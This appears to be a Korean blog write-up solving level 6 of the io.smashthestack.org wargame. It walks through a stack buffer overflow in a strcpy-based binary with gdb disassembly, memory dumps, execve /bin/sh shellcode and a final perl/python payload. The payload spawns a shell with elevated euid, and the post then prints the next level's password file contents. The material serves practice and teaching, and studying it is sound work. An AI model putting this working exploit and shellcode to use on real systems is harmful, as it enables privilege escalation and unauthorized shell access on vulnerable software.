0x080483df <copy_buffers+75>:   lea    0xffffffe0(%ebp),%eax
0x080483e2 <copy_buffers+78>:   mov    %eax,(%esp)                  ebp-32를 esp로         ->buf1
0x080483e5 <copy_buffers+81>:   call   0x80482d4 <strcpy@plt>
0x080483ea <copy_buffers+86>:   leave
0x080483eb <copy_buffers+87>:   ret
End of assembler dump.

       


argv
ret address
ebp
buf1    ---- ebp-32
buf2    ---- ebp-64
buf3    ---- ebp-96

스택의 모양이 위와 같고 63 byte 를 이용할 수 있습니다.(buf3+buf2의 크기)

buf1의 크기가 32바이트 이므로 retrun address를 덮어 씌울려면 40 byte가 필요합니다. 공격코드는 아래와 같은 형태입니다.
[Shellcode][Shellcode`s address][NOP]

         
level5에서 만든 쉘코드의 크기는 45 byte이므로 보다 작은 코드(25byte)를 이용하겠습니다. (http://milw0rm.com/shellcode/6272 참조)

"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80";


NOP의 주소를 확인하기 위해 gdb에서 0x080483ea <copy_buffers+86>:   leave 에breakpoint를 걸었습니다.

(gdb) r `perl -e 'print "A"x31," ","\x90"x32'`
Starting program: /levels/level6 `perl -e 'print "A"x31," ","\x90"x32'`

Breakpoint 1, 0x080483ea in copy_buffers ()
(gdb) info reg esp
esp            0xbfffdc80       0xbfffdc80
(gdb) x/150x 0xbfffdc80
0xbfffdc80:     0xbfffdcd8      0xbfffdc98      0x00000020      0x00000000
0xbfffdc90:     0x00000000      0x00000000      0x90909090      0x90909090
0xbfffdca0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcb0:     0x90909090      0x90909090      0x4141
4141      0x41414141
0xbfffdcc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdcd0:     0x41414141      0x00414141      0x90909090      0x90909090
0xbfffdce0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffdcf0:     0x90909090      0x90909090       0x41414141      0x41414141
0xbfffdd00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfffdd10:     0x41414141      0x00414141      0xbfffdd68       0x00d52ea8
0xbfffdd20:     0x00000003      0xbfffdd94       0xbfffdda4       0x00000000
0xbfffdd30:     0x00e6bff4      0x00000000       0x00ed9cc0      0xbfffdd68
0xbfffdd40:     0xbfffdd20       0x00d52e6d     0x00000000      0x00000000
0xbfffdd50:     0x00000000      0x00ecf090      0x00d52ded      0x00ed9ff4
...



buf2와 buf3가 연달아 복사되서 오버플로우를 확인할 수 있네요. buf3는 0xbfffdc98 부터 이며 return address0xbfffdcbc 입니다.

최종 공격코드 입니다.


"\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 

level6@io:/levels$ ./level6 `perl -e 'print "\x90"x4,"\x98\xdc\xff\xbf","\x90"x23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x7'`

 /levels/level6 `python -c 'print "\x90"*4+"\x78\xdc\xff\xbf"+"\x90"*23," ","\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7'`

sh-3.1$ id
uid=1006(level6) gid=1006(level6) euid=1007(level7) groups=1006(level6)

sh-3.1$ cat /home/level7/.pass
arg4sans---->  qpapbi2w

'War game > io.smashthestack.org' 카테고리의 다른 글

io smashthestack level25  (0) 2014.02.09
io smashthestack level24  (0) 2014.02.09
level9  (0) 2010.01.21
level8  (0) 2010.01.21
level7  (0) 2010.01.19
level5  (8) 2010.01.19
level4  (8) 2010.01.18
level3  (0) 2010.01.18
level2  (0) 2010.01.18
level1  (0) 2010.01.18

badcob War game/io.smashthestack.org